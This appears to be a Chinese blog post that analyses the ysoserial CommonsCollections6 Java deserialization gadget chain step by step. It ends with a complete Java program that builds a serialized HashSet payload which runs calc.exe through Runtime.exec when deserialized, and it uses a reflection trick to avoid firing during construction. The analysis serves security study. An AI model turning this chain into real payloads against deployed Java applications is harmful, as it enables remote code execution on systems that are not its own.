• ysoserial commonscollections6 分析


    利用链如下:

    其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。

    /*
    	Gadget chain:
    	    java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    */
    

    1、InvokerTransformer.transform()
    因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。

    Class cr = Class.forName("java.lang.Runtime");
    Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
    Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
    

    2、ChainedTransformer.transform()

    使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元素的transform,transform传入的参数为前一个元素的对象。所以这个方法可以对步骤1中链执行。

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    

    创建一个Transformer[],包含步骤1中所有对象。

    Transformer[] transformers = {
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    
    };
    

    由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。

    public ConstantTransformer(Object constantToReturn) {
    	super();
    	iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
    	return iConstant;
    }
    

    所以最终得到的transformers是

    public static void main(String[] args) throws Exception {
    //        Class cr = Class.forName("java.lang.Runtime");
            ;
            Transformer[] transformers = {
                    new ConstantTransformer(Class.forName("java.lang.Runtime")),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    
            };
    
            new ChainedTransformer(transformers).transform(1);
        //calc.exe
        }
    

    3、LazyMap.get()

    LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型

    所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。

    public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
    }
    
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    

    当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用

    Transformer transformer = new ChainedTransformer(transformers);
    
    Map map = new HashMap();
    map.put(1,"hello");
    Map lazyMap = LazyMap.decorate(map, transformer);
    lazyMap.get(2);
    //calc.exe
    

    4、TiedMapEntry

    根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。

    public TiedMapEntry(Map map, Object key) {
            super();
            this.map = map;
            this.key = key;
    }
    public Object getValue() {
            return map.get(key);
    }
    

    利用链

    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
    tiedMapEntry.getValue();
    

    再看TiedMapEntry的hashCode方法,实现了getValue()的调用。

    public int hashCode() {
            Object value = getValue();
            return (getKey() == null ? 0 : getKey().hashCode()) ^
                   (value == null ? 0 : value.hashCode()); 
    }
    

    利用链

    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
    tiedMapEntry.hashcode();
    

    5、HashMap

    hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法

    static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
    }
    

    利用链

    Map hashmap = new HashMap();
    hashmap.put(tiedMapEntry,1);
    //calc.exe
    

    6、HashSet

    根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。

    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
            ...
            // Read in all elements in the proper order.
            for (int i=0; i@SuppressWarnings("unchecked")
                    E e = (E) s.readObject();
                map.put(e, PRESENT);
            }
        }
    

    利用链

    HashSet hashSet = new HashSet();
    hashSet.add(tiedMapEntry);
    
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
    objectOutputStream.writeObject(hashSet);
    
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
    objectInputStream.readObject();
    

    由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。

    public Object getValue() {
            return map.get(key);
    }
    

    lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。

    public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
    }
    

    所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);

    在序列化之前需要将该key移除

    lazyMap.remove(2);
    

    优化:

    由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。

    public boolean add(E e) {
            return map.put(e, PRESENT)==null;
    }
    

    在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。

    Transformer[] transformers = {};
    Transformer[] transformerslist = {
    	new ConstantTransformer(Class.forName("java.lang.Runtime")),
    	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    
    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(transformer, transformerslist);
    

    最终的利用链

    public class CC6Test1 {
        public static void main(String[] args) throws Exception {
    
            Transformer[] transformers = {};
            Transformer[] transformerslist = {
                    new ConstantTransformer(Class.forName("java.lang.Runtime")),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
            };
    
            Transformer transformer = new ChainedTransformer(transformers);
    
            Map map = new HashMap();
            map.put(1,"hello");
            Map lazyMap = LazyMap.decorate(map, transformer);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
    
            HashSet hashSet = new HashSet();
            hashSet.add(tiedMapEntry);
            lazyMap.remove(2);
    
    
            Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(transformer, transformerslist);
    
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
            objectOutputStream.writeObject(hashSet);
    
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
            objectInputStream.readObject();
            
        }
    }
    

  • 相关阅读:
    React(react18)中组件通信05——redux ➕ react-redux(含数据共享)
    CVE-2022-42889 Apache Commons Text远程代码执行漏洞复现
    Flink1.15源码解析--安全模块及安全上下文
    SQL Server端口配置指南
    【C++ STL】模拟实现 unordered_set/map 系列容器(对一张哈希表进行封装)
    超级详细 的 Redis 安装教程
    使用Swift开发Framework遇到的问题及解决方法
    IE让我首次遭受了社会的毒打
    设计模式之组合模式改进
    力扣151 - 反转字符串中的单词【双指针与字符串的火花】
  • 原文地址:https://www.cnblogs.com/vpandaxjl/p/16789593.html